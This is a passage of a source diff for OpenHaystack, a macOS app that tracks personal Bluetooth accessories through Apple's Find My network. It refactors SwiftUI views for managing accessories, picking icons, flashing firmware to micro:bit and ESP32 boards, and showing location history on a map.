+    var loadingOverlay: some View {
+        ZStack {
+            if isFlashing {
+                Rectangle()
+                    .fill(Color.gray)
+                    .opacity(0.5)
+
+                VStack {
+                    ActivityIndicator(size: .large)
+                    Text("This can take up to 3min")
+                }
+
+            }
+        }
+    }
+
+    func deployAccessoryToESP32(accessory: Accessory, to port: URL) {
+        do {
+            self.isFlashing = true
+            try ESP32Controller.flashToESP32(
+                accessory: accessory, port: port,
+                completion: { result in
+                    presentationMode.wrappedValue.dismiss()
+
+                    self.isFlashing = false
+                    switch result {
+                    case .success:
+                        self.alertType = .deployedSuccessfully
+                    case .failure(let error):
+                        os_log(.error, "Flashing to ESP32 failed %@", String(describing: error))
+                        self.presentationMode.wrappedValue.dismiss()
+                        self.alertType = .deployFailed
+                    }
+                })
+        } catch {
+            os_log(.error, "Execution of script failed %@", String(describing: error))
+            self.presentationMode.wrappedValue.dismiss()
+            self.alertType = .deployFailed
+            self.isFlashing = false
+
+        }
+
+        self.accessory = nil
+    }
+}
+
+struct ESP32InstallSheet_Previews: PreviewProvider {
+    @State static var acc: Accessory? = try! Accessory(name: "Sample")
+
+    @State static var alert: OpenHaystackMainView.AlertType?
+
+    static var previews: some View {
+        ESP32InstallSheet(accessory: $acc, alertType: $alert)
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/IconSelectionView.swift

@@ -1,78 +1,109 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
 import SwiftUI
 
 struct IconSelectionView: View {
 
     @State var showImagePicker = false
-    @State var color: Color = .red
     @Binding var selectedImageName: String
+    @Binding var selectedColor: Color
 
     var body: some View {
 
         ZStack {
-            Button(action: {
-                withAnimation {
-                    self.showImagePicker.toggle()
+            Button(
+                action: {
+                    withAnimation {
+                        self.showImagePicker.toggle()
+                    }
+                },
+                label: {
+                    Circle()
+                        .strokeBorder(self.selectedColor, lineWidth: 2)
+                        .background(
+                            ZStack {
+                                Circle().fill(Color("PinColor"))
+                                Image(systemName: self.selectedImageName)
+                                    .colorMultiply(Color("PinImageColor"))
+                            }
+                        )
+                        .frame(width: 32, height: 32)
                 }
-            }, label: {
-                Circle()
-                    .strokeBorder(Color.gray, lineWidth: 0.5)
-                    .background(
-                        Image(systemName: self.selectedImageName)
-                    )
-                    .frame(width: 30, height: 30)
-            })
+            )
             .buttonStyle(PlainButtonStyle())
-            .popover(isPresented: self.$showImagePicker, content: {
-                ImageSelectionList(selectedImageName: self.$selectedImageName) {
-                    self.showImagePicker = false
-                }
-            })
+            .popover(
+                isPresented: self.$showImagePicker,
+                content: {
+                    ImageSelectionList(selectedImageName: $selectedImageName, selectedColor: $selectedColor) {
+                        self.showImagePicker = false
+                    }
+                })
         }
     }
 }
 
 struct ColorSelectionView_Previews: PreviewProvider {
     @State static var selectedImageName: String = "briefcase.fill"
+    @State static var selectedColor: Color = .red
 
     static var previews: some View {
         Group {
-            IconSelectionView(selectedImageName: self.$selectedImageName)
-            ImageSelectionList(selectedImageName: self.$selectedImageName, dismiss: {})
+            IconSelectionView(selectedImageName: self.$selectedImageName, selectedColor: self.$selectedColor)
+            ImageSelectionList(selectedImageName: self.$selectedImageName, selectedColor: self.$selectedColor, dismiss: { () })
         }
 
     }
 }
 
 struct ImageSelectionList: View {
-    let selectableIcons = ["briefcase.fill", "case.fill", "latch.2.case.fill", "key.fill", "mappin", "crown.fill", "gift.fill", "car.fill"]
-
     @Binding var selectedImageName: String
+    @Binding var selectedColor: Color
+    static let boxSize: CGFloat = 30.0
 
     let dismiss: () -> Void
 
-    var body: some View {
-        List(self.selectableIcons, id: \.self) { iconName in
-            Button(action: {
-                self.selectedImageName = iconName
-                self.dismiss()
-            }, label: {
-                HStack {
-                   Spacer()
-                    Image(systemName: iconName)
-                    Spacer()
-                }
-            })
-            .buttonStyle(PlainButtonStyle())
-            .contentShape(Rectangle())
-        }
-        .frame(width: 100)
-    }
+    let columns: [GridItem] = [
+        GridItem(.fixed(boxSize), spacing: nil),
+        GridItem(.fixed(boxSize), spacing: nil),
+        GridItem(.fixed(boxSize), spacing: nil),
+        GridItem(.fixed(boxSize), spacing: nil),
+    ]
 
+    var body: some View {
+        VStack {
+            ColorPicker(selection: $selectedColor, supportsOpacity: false) {
+                Text("Pick a color")
+                    .colorMultiply(Color("PinImageColor"))
+            }
+            ScrollView {
+                LazyVGrid(columns: columns, alignment: .center, spacing: nil, pinnedViews: []) {
+                    Section {
+                        ForEach(Accessory.icons, id: \.self) { iconName in
+                            Button(
+                                action: {
+                                    self.selectedImageName = iconName
+                                    self.dismiss()
+                                },
+                                label: {
+                                    Image(systemName: iconName)
+                                        .colorMultiply(Color("PinImageColor"))
+                                }
+                            )
+                            .frame(width: ImageSelectionList.boxSize, height: ImageSelectionList.boxSize, alignment: .center)
+                            .buttonStyle(PlainButtonStyle())
+                            .contentShape(Rectangle())
+                        }
+                    }
+                }
+            }
+        }
+        .padding(ImageSelectionList.boxSize / 2)
+    }
 }

OpenHaystack/OpenHaystack/HaystackApp/Views/ManageAccessoriesView.swift

@@ -0,0 +1,283 @@
+//
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+//
+
+import SwiftUI
+import os
+
+struct ManageAccessoriesView: View {
+
+    @EnvironmentObject var accessoryController: AccessoryController
+    var accessories: [Accessory] {
+        return self.accessoryController.accessories
+    }
+
+    // MARK: Bindings from main View
+    @Binding var alertType: OpenHaystackMainView.AlertType?
+    @Binding var focusedAccessory: Accessory?
+    @Binding var accessoryToDeploy: Accessory?
+    @Binding var showESP32DeploySheet: Bool
+    @State var sheetShown: SheetType?
+
+    @State var showMailPopup = false
+
+    var body: some View {
+        VStack {
+            Text("Your accessories")
+                .font(.title2)
+                .padding(.top)
+
+            if self.accessories.isEmpty {
+                Spacer()
+                Text("No accessories have been added yet. Go ahead and add one via the '+' icon.")
+                    .multilineTextAlignment(.center)
+                Spacer()
+            } else {
+                self.accessoryList
+            }
+        }
+        .toolbar(content: {
+            self.toolbarView
+        })
+        .sheet(item: self.$sheetShown) { sheetType in
+            switch sheetType {
+            case .esp32Install:
+                ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
+            case .deployFirmware:
+                self.selectTargetView
+            }
+        }
+    }
+
+    /// Accessory List view.
+    var accessoryList: some View {
+
+        List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
+            AccessoryListEntry(
+                accessory: accessory,
+                accessoryIcon: Binding(
+                    get: { accessory.icon },
+                    set: { accessory.icon = $0 }
+                ),
+                accessoryColor: Binding(
+                    get: { accessory.color },
+                    set: { accessory.color = $0 }
+                ),
+                accessoryName: Binding(
+                    get: { accessory.name },
+                    set: { accessory.name = $0 }
+                ),
+                alertType: self.$alertType,
+                delete: self.delete(accessory:),
+                deployAccessoryToMicrobit: self.deploy(accessory:),
+                zoomOn: { self.focusedAccessory = $0 }
+            )
+        }
+        .listStyle(PlainListStyle())
+
+    }
+
+    /// All toolbar buttons shown.
+    var toolbarView: some View {
+        Group {
+            Spacer()
+
+            Button(
+                action: self.importAccessories,
+                label: {
+                    Label("Import accessories", systemImage: "square.and.arrow.down")
+                }
+            )
+            .help("Import accessories from a file")
+
+            Button(
+                action: self.exportAccessories,
+                label: {
+                    Label("Export accessories", systemImage: "square.and.arrow.up")
+                }
+            )
+            .help("Export all accessories to a file")
+
+            Button(action: self.addAccessory) {
+                Label("Add accessory", systemImage: "plus")
+            }
+            .help("Add a new accessory")
+        }
+    }
+
+    var selectTargetView: some View {
+        VStack {
+            Text("Select target")
+                .font(.title)
+            Text("Please select to which device you want to deply")
+                .padding(.bottom, 4)
+
+            VStack {
+                Button(
+                    "Micro:bit",
+                    action: {
+                        self.sheetShown = nil
+                        if let accessory = self.accessoryToDeploy {
+                            self.deployAccessoryToMicrobit(accessory: accessory)
+                        }
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "Export Microbit firmware",
+                    action: {
+                        self.sheetShown = nil
+                        if let accessory = self.accessoryToDeploy {
+                            self.exportMicrobitFirmware(for: accessory)
+                        }
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "ESP32",
+                    action: {
+                        self.sheetShown = .esp32Install
+                    }
+                )
+                .buttonStyle(LargeButtonStyle())
+
+                Button(
+                    "Cancel",
+                    action: {
+                        self.sheetShown = nil
+                    }
+                )
+                .buttonStyle(LargeButtonStyle(destructive: true))
+            }
+
+        }
+        .padding()
+    }
+
+    /// Delete an accessory from the list of accessories.
+    func delete(accessory: Accessory) {
+        do {
+            try self.accessoryController.delete(accessory: accessory)
+        } catch {
+            self.alertType = .deletionFailed
+        }
+    }
+
+    func deploy(accessory: Accessory) {
+        self.accessoryToDeploy = accessory
+        self.sheetShown = .deployFirmware
+    }
+
+    /// Add an accessory with the provided details.
+    func addAccessory() {
+        do {
+            _ = try self.accessoryController.addAccessory()
+        } catch {
+            self.alertType = .keyError
+        }
+    }
+
+    func exportAccessories() {
+        do {
+            _ = try self.accessoryController.export(accessories: self.accessories)
+        } catch {
+            self.alertType = .exportFailed
+        }
+    }
+
+    func importAccessories() {
+        do {
+            try self.accessoryController.importAccessories()
+        } catch {
+            if let importError = error as? AccessoryController.ImportError,
+                importError == .cancelled
+            {
+                //User cancelled the import. No error
+                return
+            }
+
+            self.alertType = .importFailed
+        }
+    }
+
+    /// Deploy the public key of the accessory to a BBC microbit.
+    func deployAccessoryToMicrobit(accessory: Accessory) {
+        do {
+            try MicrobitController.deploy(accessory: accessory)
+        } catch {
+            os_log("Error occurred %@", String(describing: error))
+            self.alertType = .deployFailed
+            return
+        }
+
+        self.alertType = .deployedSuccessfully
+        accessory.isDeployed = true
+        self.accessoryToDeploy = nil
+    }
+
+    func exportMicrobitFirmware(for accessory: Accessory) {
+        do {
+            let firmware = try MicrobitController.patchFirmware(for: accessory)
+
+            let savePanel = NSSavePanel()
+            savePanel.allowedFileTypes = ["bin"]
+            savePanel.canCreateDirectories = true
+            savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
+            savePanel.message = "Export the micro:bit firmware"
+            savePanel.nameFieldLabel = "Firmware name"
+            savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
+            savePanel.prompt = "Export"
+            savePanel.title = "Export firmware"
+
+            let result = savePanel.runModal()
+
+            if result == .OK,
+                let url = savePanel.url
+            {
+                // Store the accessory file
+                try firmware.write(to: url)
+            }
+
+        } catch {
+            os_log("Error occurred %@", String(describing: error))
+            self.alertType = .exportFailed
+            return
+        }
+    }
+
+    enum SheetType: Int, Identifiable {
+        var id: Int {
+            return self.rawValue
+        }
+        case esp32Install
+        case deployFirmware
+    }
+}
+
+struct ManageAccessoriesView_Previews: PreviewProvider {
+
+    @State static var accessories = PreviewData.accessories
+    @State static var alertType: OpenHaystackMainView.AlertType?
+    @State static var focussed: Accessory?
+    @State static var deploy: Accessory?
+    @State static var showESPSheet: Bool = true
+
+    static var previews: some View {
+        ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
+    }
+}
+
+//FIXME: This is a workaround, because the List with Default style (and clear background) started to crop the rows on macOS 11.3
+extension NSTableView {
+    open override func viewDidMoveToWindow() {
+        super.viewDidMoveToWindow()
+        self.backgroundColor = .clear
+    }
+}

OpenHaystack/OpenHaystack/HaystackApp/Views/OpenHaystackMainView.swift

@@ -1,27 +1,25 @@
+//
 //  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
 //
 //  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
 //  Copyright © 2021 The Open Wireless Link Project
 //
 //  SPDX-License-Identifier: AGPL-3.0-only
+//
 
-import SwiftUI
-import OSLog
 import MapKit
+import OSLog
+import SwiftUI
 
 struct OpenHaystackMainView: View {
 
-    @State var keyName: String = ""
-    @State var accessoryColor: Color = Color.white
-    @State var selectedIcon: String = "briefcase.fill"
-
     @State var loading = false
-    @ObservedObject var accessoryController = AccessoryController.shared
+    @EnvironmentObject var accessoryController: AccessoryController
+
     var accessories: [Accessory] {
         return self.accessoryController.accessories
     }
 
-    @State var showKeyError = false
     @State var alertType: AlertType?
     @State var popUpAlertType: PopUpAlertType?
     @State var errorDescription: String?
@@ -30,120 +28,76 @@ struct OpenHaystackMainView: View {
     @State var mapType: MKMapType = .standard
     @State var isLoading = false
     @State var focusedAccessory: Accessory?
+    @State var historyMapView = false
+    @State var historySeconds: TimeInterval = TimeInterval.Units.day.rawValue
+    @State var accessoryToDeploy: Accessory?
+    @State var showMailPlugInPopover = false
+
+    @State var mailPluginIsActive = false
+
+    @State var showESP32DeploySheet = false
 
     var body: some View {
-        GeometryReader { geo in
+
+        NavigationView {
+
+            ManageAccessoriesView(
+                alertType: self.$alertType,
+                focusedAccessory: self.$focusedAccessory,
+                accessoryToDeploy: self.$accessoryToDeploy,
+                showESP32DeploySheet: self.$showESP32DeploySheet
+            )
+            .frame(minWidth: 250, idealWidth: 280, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
+
             ZStack {
-                VStack {
-                    HStack {
-                        self.accessoryView
-                            .frame(width: geo.size.width * 0.5)
-
-                        Spacer()
-
-                        VStack {
-                            self.mapView
-                        }.frame(width: geo.size.width * 0.5, alignment: .trailing)
-
-                    }
-
-                    if searchPartyTokenLoaded == false {
-                        TextField("Search Party token", text: self.$searchPartyToken)
-                    }
-                }
-
+                AccessoryMapView(
+                    accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.$focusedAccessory, showHistory: self.$historyMapView,
+                    showPastHistory: self.$historySeconds
+                )
+                .overlay(self.mapOverlay)
                 if self.popUpAlertType != nil {
                     VStack {
                         Spacer()
-
                         PopUpAlertView(alertType: self.popUpAlertType!)
                             .transition(AnyTransition.move(edge: .bottom))
                             .padding(.bottom, 30)
                     }
-
                 }
             }
-            .alert(item: self.$alertType, content: { alertType in
-                return self.alert(for: alertType)
+            .frame(minWidth: 500, idealWidth: 500, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
+            .toolbar(content: {
+                self.toolbarView
             })
+            .alert(
+                item: self.$alertType,
+                content: { alertType in
+                    return self.alert(for: alertType)
+                }
+            )
             .onChange(of: self.searchPartyToken) { (searchPartyToken) in
-                guard !searchPartyToken.isEmpty, self.accessories.isEmpty == false else {return}
+                guard !searchPartyToken.isEmpty, self.accessories.isEmpty == false else { return }
                 self.downloadLocationReports()
             }
-            .onChange(of: self.popUpAlertType, perform: { popUpAlert in
-                guard popUpAlert != nil else {return}
-                DispatchQueue.main.asyncAfter(deadline: .now() + 2) {
-                    self.popUpAlertType = nil
+            .onChange(
+                of: self.popUpAlertType,
+                perform: { popUpAlert in
+                    guard popUpAlert != nil else { return }
+                    DispatchQueue.main.asyncAfter(deadline: .now() + 2) {
+                        self.popUpAlertType = nil
+                    }
                 }
-            })
+            )
             .onAppear {
                 self.onAppear()
             }
         }
-        .padding([.leading, .trailing, .bottom])
-        .frame(minWidth: 720, maxWidth: .infinity, minHeight: 480, maxHeight: .infinity)
+        .navigationTitle(self.focusedAccessory?.name ?? "Your accessories")
+
     }
 
     // MARK: Subviews
 
-    /// Left side of the view. Shows a list of accessories and the possibility to add accessories
-    var accessoryView: some View {
-        VStack {
-            Text("Create a new tracking accessory")
-                .font(.title2)
-                .padding(.top)
-
-            Text("A BBC Microbit can be used to track anything you care about. Connect it over USB, name the accessory (e.g. Backpack) generate the key and deploy it")
-                .multilineTextAlignment(.center)
-                .font(.caption)
-                .foregroundColor(.gray)
-
-            HStack {
-                TextField("Name", text: self.$keyName)
-                ColorPicker("", selection: self.$accessoryColor)
-                    .frame(maxWidth: 50, maxHeight: 20)
-                IconSelectionView(selectedImageName: self.$selectedIcon)
-            }
-
-            Button(action: self.addAccessory, label: {
-                Text("Generate key and deploy")
-            })
-            .disabled(self.keyName.isEmpty)
-            .padding(.bottom)
-
-            Divider()
-
-            Text("Your accessories")
-                .font(.title2)
-                .padding(.top)
-
-            if self.accessories.isEmpty {
-                Spacer()
-                Text("No accessories have been added yet. Go ahead and add one above")
-                    .multilineTextAlignment(.center)
-            } else {
-                self.accessoryList
-            }
-
-            Spacer()
-
-        }
-    }
-
-    /// Accessory List view
-    var accessoryList: some View {
-        List(self.accessories) { accessory in
-            AccessoryListEntry(accessory: accessory,
-                               alertType: self.$alertType,
-                               delete: self.delete(accessory:),
-                               deployAccessoryToMicrobit: self.deployAccessoryToMicrobit(accessory:),
-                               zoomOn: {self.focusedAccessory = $0})
-        }
-        .background(Color.clear)
-        .cornerRadius(15.0)
-    }
-
-    /// Overlay for the map that is gray and shows an activity indicator when loading
+    /// Overlay for the map that is gray and shows an activity indicator when loading.
     var mapOverlay: some View {
         ZStack {
             if self.isLoading {
@@ -156,157 +110,54 @@ struct OpenHaystackMainView: View {
         }
     }
 
-    /// Right side of the view showing a map with all items presented.
-    var mapView: some View {
-        ZStack {
+    /// All toolbar items shown.
+    var toolbarView: some View {
+        Group {
+            if self.historyMapView {
+                Text("\(TimeInterval(self.historySeconds).description)")
+                Slider<Text, EmptyView>.withLogScale(value: $historySeconds, in: 30 * TimeInterval.Units.minute.rawValue...TimeInterval.Units.week.rawValue) {
+                    Text("Past time to show")
+                }
+                .frame(width: 80)
+            }
+            Toggle(isOn: $historyMapView) {
+                Label("Show location history", systemImage: "clock")
+            }
+            .disabled(self.focusedAccessory == nil)
 
-            AccessoryMapView(accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.focusedAccessory)
-                .overlay(self.mapOverlay)
-                .cornerRadius(15.0)
-                .clipped()
-                .padding([.top, .bottom], 15)
+            Picker("", selection: self.$mapType) {
+                Text("Satellite").tag(MKMapType.hybrid)
+                Text("Standard").tag(MKMapType.standard)
+            }
+            .pickerStyle(SegmentedPickerStyle())
 
-            VStack {
-                Spacer()
-                HStack {
-
-                    Picker("", selection: self.$mapType) {
-                        Text("Satellite").tag(MKMapType.hybrid)
-                        Text("Standard").tag(MKMapType.standard)
+            Button(
+                action: {
+                    if !self.mailPluginIsActive {
+                        self.showMailPlugInPopover.toggle()
+                    } else {
+                        self.downloadLocationReports()
                     }
-                    .pickerStyle(SegmentedPickerStyle())
-                    .frame(width: 150, alignment: .center)
 
-                    Button(action: self.downloadLocationReports, label: {
-                        Image(systemName: "arrow.clockwise")
-                        Text("Reload")
-                    })
-                    .opacity(1.0)
-                    .disabled(self.accessories.isEmpty)
-                }
-                .padding(.bottom, 25)
-            }
-        }
-    }
-
-    /// Add an accessory with the provided details
-    func addAccessory() {
-        let keyName = self.keyName
-        self.keyName = ""
-
-        do {
-            let accessory = try Accessory(name: keyName, color: self.accessoryColor, iconName: self.selectedIcon)
-
-            let accessories = self.accessories + [accessory]
-
-            withAnimation {
-                self.accessoryController.accessories = accessories
-            }
-            try self.accessoryController.save()
-
-            self.deployAccessoryToMicrobit(accessory: accessory)
-
-        } catch {
-            self.errorDescription = String(describing: error)
-            self.showKeyError = true
-        }
-
-    }
-
-    /// Download the location reports for all current accessories. Shows an error if something fails, like plug-in is missing
-    func downloadLocationReports() {
-
-        self.checkPluginIsRunning { (running) in
-            guard running else {
-                self.alertType = .activatePlugin
-                return
-            }
-
-            guard !self.searchPartyToken.isEmpty,
-                  let tokenData = self.searchPartyToken.data(using: .utf8) else {
-                self.alertType = .searchPartyToken
-                return
-            }
-
-            withAnimation {
-                self.isLoading = true
-            }
-
-            let findMyDevices = self.accessories.compactMap({ acc -> FindMyDevice? in
-                do {
-                    return try acc.toFindMyDevice()
-                } catch {
-                    os_log("Failed getting id for key %@", String(describing: error))
-                    return nil
-                }
-            })
-
-            FindMyController.shared.devices = findMyDevices
-            FindMyController.shared.fetchReports(with: tokenData) { error in
-
-                let reports = FindMyController.shared.devices.compactMap({$0.reports}).flatMap({$0})
-                if reports.isEmpty {
-                    withAnimation {
-                        self.popUpAlertType = .noReportsFound
+                },
+                label: {
+                    HStack {
+                        Circle()
+                            .fill(self.mailPluginIsActive ? Color.green : Color.orange)
+                            .frame(width: 8, height: 8)
+                        Label("Reload", systemImage: "arrow.clockwise")
+                            .disabled(!self.mailPluginIsActive)
                     }
-                } else {
-                    self.accessoryController.updateWithDecryptedReports(devices: FindMyController.shared.devices)
+
                 }
-
-                withAnimation {
-                    self.isLoading = false
-                }
-
-                guard error != nil else {return}
-                os_log("Error: %@", String(describing: error))
-
-            }
+            )
+            .disabled(self.accessories.isEmpty)
+            .popover(
+                isPresented: $showMailPlugInPopover,
+                content: {
+                    self.mailStatePopover
+                })
         }
-
-    }
-
-    /// Delete an accessory from the list of accessories
-    func delete(accessory: Accessory) {
-        do {
-            var accessories = self.accessories
-            guard let idx = accessories.firstIndex(of: accessory) else {return}
-
-            accessories.remove(at: idx)
-
-            withAnimation {
-                self.accessoryController.accessories = accessories
-            }
-            try self.accessoryController.save()
-
-        } catch {
-            self.alertType = .deletionFailed
-        }
-
-    }
-
-    /// Deploy the public key of the accessory to a BBC microbit
-    func deployAccessoryToMicrobit(accessory: Accessory) {
-        do {
-            let microbits = try MicrobitController.findMicrobits()
-            guard let microBitURL = microbits.first,
-                  let firmwareURL = Bundle.main.url(forResource: "firmware", withExtension: "bin") else {
-                self.alertType = .deployFailed
-                return
-            }
-            let firmware = try Data(contentsOf: firmwareURL)
-            let pattern = "OFFLINEFINDINGPUBLICKEYHERE!".data(using: .ascii)!
-            let publicKey = try accessory.getAdvertisementKey()
-            let patchedFirmware = try MicrobitController.patchFirmware(firmware, pattern: pattern, with: publicKey)
-
-            try MicrobitController.deployToMicrobit(microBitURL, firmwareFile: patchedFirmware)
-
-        } catch {
-            os_log("Error occurred %@", String(describing: error))
-            self.alertType = .deployFailed
-            return
-        }
-
-        self.alertType = .deployedSuccessfully
     }
 
     func onAppear() {
@@ -314,7 +165,8 @@ struct OpenHaystackMainView: View {
         /// Checks if the search party token can be fetched without the Mail Plugin. If true the plugin is not needed for this environment. (e.g.  when SIP is disabled)
         let reportsFetcher = ReportsFetcher()
         if let token = reportsFetcher.fetchSearchpartyToken(),
-           let tokenString = String(data: token, encoding: .ascii) {
+            let tokenString = String(data: token, encoding: .ascii)
+        {
             self.searchPartyToken = tokenString
             return
         }
@@ -330,7 +182,46 @@ struct OpenHaystackMainView: View {
         }
     }
 
-    /// Ask to install and activate the mail plugin
+    /// Download the location reports for all current accessories. Shows an error if something fails, like plug-in is missing
+    func downloadLocationReports() {
+        self.isLoading = true
+        self.accessoryController.downloadLocationReports { result in
+            self.isLoading = false
+            switch result {
+            case .failure(let alert):
+                if alert == .noReportsFound {
+                    self.popUpAlertType = .noReportsFound
+                } else {
+                    if alert == .activatePlugin {
+                        self.mailPluginIsActive = false
+                    }
+                    self.alertType = alert
+                }
+            case .success(_):
+                break
+            }
+        }
+    }
+
+    var mailStatePopover: some View {
+        VStack {
+            HStack {
+                Image(systemName: "envelope")
+                    .font(.title)
+                    .foregroundColor(self.mailPluginIsActive ? .green : .red)
+
+                if self.mailPluginIsActive {
+                    Text("The mail plug-in is up and running")
+                } else {
+                    Text("Cannot connect to the mail plug-in. Open Apple Mail and make sure the plug-in is enabled")
+                }
+            }
+            .padding()
+        }
+        .frame(width: 250, height: 120)
+    }
+
+    /// Ask to install and activate the mail plugin.
     func installMailPlugin() {
         let pluginManager = MailPluginManager()
         guard pluginManager.isMailPluginInstalled == false else {
@@ -338,7 +229,7 @@ struct OpenHaystackMainView: View {
             return
         }
         do {
-            try  pluginManager.installMailPlugin()
+            try pluginManager.installMailPlugin()
         } catch {
             DispatchQueue.main.async {
                 self.alertType = .pluginInstallFailed
@@ -347,7 +238,7 @@ struct OpenHaystackMainView: View {
         }
     }
 
-    func checkPluginIsRunning(_ completion: ((Bool) -> Void)?) {
+    func checkPluginIsRunning(silent: Bool = false, _ completion: ((Bool) -> Void)?) {
         // Check if Mail plugin is active
         AnisetteDataManager.shared.requestAnisetteData { (result) in
             DispatchQueue.main.async {
@@ -355,14 +246,18 @@ struct OpenHaystackMainView: View {
                 case .success(let accountData):
 
                     withAnimation {
-                        self.searchPartyToken = String(data: accountData.searchPartyToken, encoding: .ascii) ?? ""
-                        if self.searchPartyToken.isEmpty == false {
-                            self.searchPartyTokenLoaded = true
+                        if let token = accountData.searchPartyToken {
+                            self.searchPartyToken = String(data: token, encoding: .ascii) ?? ""
+                            if self.searchPartyToken.isEmpty == false {
+                                self.searchPartyTokenLoaded = true
+                            }
                         }
                     }
+                    self.mailPluginIsActive = true
+                    self.showMailPlugInPopover = false
                     completion?(true)
                 case .failure(let error):
-                    if let error = error as? AnisetteDataError {
+                    if let error = error as? AnisetteDataError, silent == false {
                         switch error {
                         case .pluginNotFound:
                             self.alertType = .activatePlugin
@@ -370,9 +265,17 @@ struct OpenHaystackMainView: View {
                             self.alertType = .activatePlugin
                         }
                     }
+                    self.mailPluginIsActive = false
                     completion?(false)
+
+                    //Check again in 5s
+                    DispatchQueue.main.asyncAfter(
+                        deadline: .now() + 5,
+                        execute: {
+                            self.checkPluginIsRunning(silent: true, nil)
+                        })
+                }
             }
-          }
         }
     }
 
@@ -386,7 +289,9 @@ struct OpenHaystackMainView: View {
 
     // MARK: - Alerts
 
-    /// Create an alert for the given alert type
+    // swiftlint:disable function_body_length
+    /// Create an alert for the given alert type.
+    ///
     /// - Parameter alertType: current alert type
     /// - Returns: A SwiftUI Alert
     func alert(for alertType: AlertType) -> Alert {
@@ -394,55 +299,79 @@ struct OpenHaystackMainView: View {
         case .keyError:
             return Alert(title: Text("Could not create accessory"), message: Text(String(describing: self.errorDescription)), dismissButton: Alert.Button.cancel())
         case .searchPartyToken:
-            return Alert(title: Text("Add the search party token"),
-                         message: Text(
-                            """
-                            Please paste the search party token below after copying itfrom the macOS Keychain.
-                            The item that contains the key can be found by searching for:
-                            com.apple.account.DeviceLocator.search-party-token
-                            """
-                         ),
-                         dismissButton: Alert.Button.okay())
+            return Alert(
+                title: Text("Add the search party token"),
+                message: Text(
+                    """
+                    Please paste the search party token below after copying itfrom the macOS Keychain.
+                    The item that contains the key can be found by searching for:
+                    com.apple.account.DeviceLocator.search-party-token
+                    """
+                ),
+                dismissButton: Alert.Button.okay())
         case .deployFailed:
-            return Alert(title: Text("Could not deploy"),
-                  message: Text("Deploying to microbit failed. Please reconnect the device over USB"),
-                  dismissButton: Alert.Button.okay())
+            return Alert(
+                title: Text("Could not deploy"),
+                message: Text("Deploying to microbit failed. Please reconnect the device over USB"),
+                dismissButton: Alert.Button.okay())
         case .deployedSuccessfully:
-            return Alert(title: Text("Deploy successfull"),
-                  message: Text("This device will now be tracked by all iPhones and you can use this app to find its last reported location"),
-                  dismissButton: Alert.Button.okay())
+            return Alert(
+                title: Text("Deploy successfull"),
+                message: Text("This device will now be tracked by all iPhones and you can use this app to find its last reported location"),
+                dismissButton: Alert.Button.okay())
         case .deletionFailed:
             return Alert(title: Text("Could not delete accessory"), dismissButton: Alert.Button.okay())
 
         case .noReportsFound:
-            return Alert(title: Text("No reports found"),
-                         message: Text("Your accessory might have not been found yet or it is not powered. Make sure it has enough power to be found by nearby iPhones"),
-                         dismissButton: Alert.Button.okay())
+            return Alert(
+                title: Text("No reports found"),
+                message: Text("Your accessory might have not been found yet or it is not powered. Make sure it has enough power to be found by nearby iPhones"),
+                dismissButton: Alert.Button.okay())
         case .activatePlugin:
             let message =
-            """
-            To access your Apple ID for downloading location reports we need to use a plugin in Apple Mail.
-            Please make sure Apple Mail is running.
-            Open Mail -> Preferences -> General -> Manage Plug-Ins... -> Select Haystack
+                """
+                To access your Apple ID for downloading location reports we need to use a plugin in Apple Mail.
+                Please make sure Apple Mail is running.
+                Open Mail -> Preferences -> General -> Manage Plug-Ins... -> Select Haystack
 
-            We do not access any of your e-mail data. This is just necessary, because Apple blocks access to certain iCloud tokens otherwise.
-            """
+                We do not access any of your e-mail data. This is just necessary, because Apple blocks access to certain iCloud tokens otherwise.
+                """
 
-            return Alert(title: Text("Install & Activate Mail Plugin"), message: Text(message),
-                         primaryButton: .default(Text("Okay"), action: {self.installMailPlugin()}),
-                         secondaryButton: .cancel())
+            return Alert(
+                title: Text("Install & Activate Mail Plugin"), message: Text(message),
+                primaryButton: .default(Text("Okay"), action: { self.installMailPlugin() }),
+                secondaryButton: .cancel())
 
         case .pluginInstallFailed:
-            return Alert(title: Text("Mail Plugin installation failed"),
-                         message: Text("To access the location reports of your devices an Apple Mail plugin is necessary" +
-                         "\nThe installtion of this plugin has failed.\n\n Please download it manually unzip it and move it to /Library/Mail/Bundles"),
-                         primaryButton: .default(Text("Download plug-in"), action: {
-                            self.downloadPlugin()
-                         }), secondaryButton: .cancel())
+            return Alert(
+                title: Text("Mail Plugin installation failed"),
+                message: Text(
+                    "To access the location reports of your devices an Apple Mail plugin is necessary"
+                        + "\nThe installtion of this plugin has failed.\n\n Please download it manually unzip it and move it to /Library/Mail/Bundles"),
+                primaryButton: .default(
+                    Text("Download plug-in"),
+                    action: {
+                        self.downloadPlugin()
+                    }), secondaryButton: .cancel())
+        case .downloadingReportsFailed:
+            return Alert(
+                title: Text("Downloading locations failed"),
+                message: Text("We could not download any locations from Apple. Please try again later"),
+                dismissButton: Alert.Button.okay())
+        case .exportFailed:
+            return Alert(
+                title: Text("Export failed"),
